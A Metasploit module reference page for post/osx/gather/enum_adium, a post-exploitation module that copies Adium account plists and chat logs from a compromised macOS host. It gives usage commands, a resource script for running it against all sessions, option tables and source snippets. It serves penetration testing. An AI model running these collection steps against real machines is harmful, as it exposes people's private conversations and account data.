OS X Gather Adium Enumeration - Metasploit


This page contains detailed information about how to use the post/osx/gather/enum_adium metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: OS X Gather Adium Enumeration
Module: post/osx/gather/enum_adium
Source code: modules/post/osx/gather/enum_adium.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will collect Adium's account plist files and chat logs from the victim's machine. There are three different actions you may choose: ACCOUNTS, CHATS, and ALL. Note that to use the 'CHATS' action, make sure you set the regex 'PATTERN' option in order to look for certain log names (which consists of a contact's name, and a timestamp). The current 'PATTERN' option is configured to look for any log created on February 2012 as an example. To loot both account plists and chat logs, simply set the action to 'ALL'.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/osx/gather/enum_adium

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/osx/gather/enum_adium
msf post(enum_adium) > show options
    ... show and set options ...
msf post(enum_adium) > set SESSION session-id
msf post(enum_adium) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/osx/gather/enum_adium")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on.

Go back to menu.

Msfconsole Usage


Here is how the osx/gather/enum_adium post exploitation module looks in the msfconsole:

msf6 > use post/osx/gather/enum_adium

msf6 post(osx/gather/enum_adium) > show info

       Name: OS X Gather Adium Enumeration
     Module: post/osx/gather/enum_adium
   Platform: OSX
       Arch: 
       Rank: Normal

Provided by:
  sinn3r <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Available actions:
  Name      Description
  ----      -----------
  ACCOUNTS  Collect account-related plists
  ALL       Collect both account plists and chat logs
  CHATS     Collect chat logs with a pattern

Basic options:
  Name     Current Setting         Required  Description
  ----     ---------------         --------  -----------
  PATTERN  \(2012\-02\-.+\)\.xml$  yes       Match a keyword in any chat log's filename
  SESSION                          yes       The session to run this module on.

Description:
  This module will collect Adium's account plist files and chat logs 
  from the victim's machine. There are three different actions you may 
  choose: ACCOUNTS, CHATS, and ALL. Note that to use the 'CHATS' 
  action, make sure you set the regex 'PATTERN' option in order to 
  look for certain log names (which consists of a contact's name, and 
  a timestamp). The current 'PATTERN' option is configured to look for 
  any log created on February 2012 as an example. To loot both account 
  plists and chat logs, simply set the action to 'ALL'.

Module Options


This is a complete list of options available in the osx/gather/enum_adium post exploitation module:

msf6 post(osx/gather/enum_adium) > show options

Module options (post/osx/gather/enum_adium):

   Name     Current Setting         Required  Description
   ----     ---------------         --------  -----------
   PATTERN  \(2012\-02\-.+\)\.xml$  yes       Match a keyword in any chat log's filename
   SESSION                          yes       The session to run this module on.

Post action:

   Name  Description
   ----  -----------
   ALL   Collect both account plists and chat logs

Advanced Options


Here is a complete list of advanced options supported by the osx/gather/enum_adium post exploitation module:

msf6 post(osx/gather/enum_adium) > show advanced

Module advanced options (post/osx/gather/enum_adium):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the osx/gather/enum_adium module can do:

msf6 post(osx/gather/enum_adium) > show actions

Post actions:

   Name      Description
   ----      -----------
   ACCOUNTS  Collect account-related plists
   ALL       Collect both account plists and chat logs
   CHATS     Collect chat logs with a pattern

Evasion Options


Here is the full list of possible evasion options supported by the osx/gather/enum_adium post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(osx/gather/enum_adium) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Not found: <FPATH>


Here is a relevant code snippet related to the "<PEER> - Not found: <FPATH>" error message:

130:	      fpath = "#{base}#{file}"
131:	      rand_name = "/tmp/#{Rex::Text.rand_text_alpha(5)}"
132:	      tmp = exec("cp #{fpath} #{rand_name}")
133:	
134:	      if tmp =~ /No such file or directory/
135:	        print_error("#{@peer} - Not found: #{fpath}")
136:	        next
137:	      end
138:	
139:	      #
140:	      # Convert plist to xml

<PEER> - Unalbe to parse: <FILE>


Here is a relevant code snippet related to the "<PEER> - Unalbe to parse: <FILE>" error message:

144:	
145:	      #
146:	      # Save data, and then clean up
147:	      #
148:	      if xml.empty?
149:	        print_error("#{@peer} - Unalbe to parse: #{file}")
150:	      else
151:	        loot << {:filename => file, :data => xml}
152:	        exec("rm #{rand_name}")
153:	      end
154:	    end

<PEER> - <E.MESSAGE> - retrying...


Here is a relevant code snippet related to the "<PEER> - <E.MESSAGE> - retrying..." error message:

217:	  #
218:	  def exec(cmd)
219:	    begin
220:	      out = cmd_exec(cmd).chomp
221:	    rescue ::Timeout::Error => e
222:	      vprint_error("#{@peer} - #{e.message} - retrying...")
223:	      retry
224:	    rescue EOFError => e
225:	      vprint_error("#{@peer} - #{e.message} - retrying...")
226:	      retry
227:	    end

<PEER> - <E.MESSAGE> - retrying...


Here is a relevant code snippet related to the "<PEER> - <E.MESSAGE> - retrying..." error message:

220:	      out = cmd_exec(cmd).chomp
221:	    rescue ::Timeout::Error => e
222:	      vprint_error("#{@peer} - #{e.message} - retrying...")
223:	      retry
224:	    rescue EOFError => e
225:	      vprint_error("#{@peer} - #{e.message} - retrying...")
226:	      retry
227:	    end
228:	  end
229:	
230:	  #

Please specify an action


Here is a relevant code snippet related to the "Please specify an action" error message:

247:	  def run
248:	    #
249:	    # Make sure there's an action name before we do anything
250:	    #
251:	    if action.nil?
252:	      print_error("Please specify an action")
253:	      return
254:	    end
255:	
256:	    @peer = "#{session.session_host}:#{session.session_port}"
257:	    user = whoami

<PEER> - Unable to find adium, will not continue


Here is a relevant code snippet related to the "<PEER> - Unable to find adium, will not continue" error message:

263:	    adium_path = locate_adium(base)
264:	    if adium_path
265:	      print_status("#{@peer} - Found adium: #{adium_path}")
266:	      adium_path += "Users/Default/"
267:	    else
268:	      print_error("#{@peer} - Unable to find adium, will not continue")
269:	      return
270:	    end
271:	
272:	    #
273:	    # Now that adium is found, let's download some stuff

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • sinn3r

Version


This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.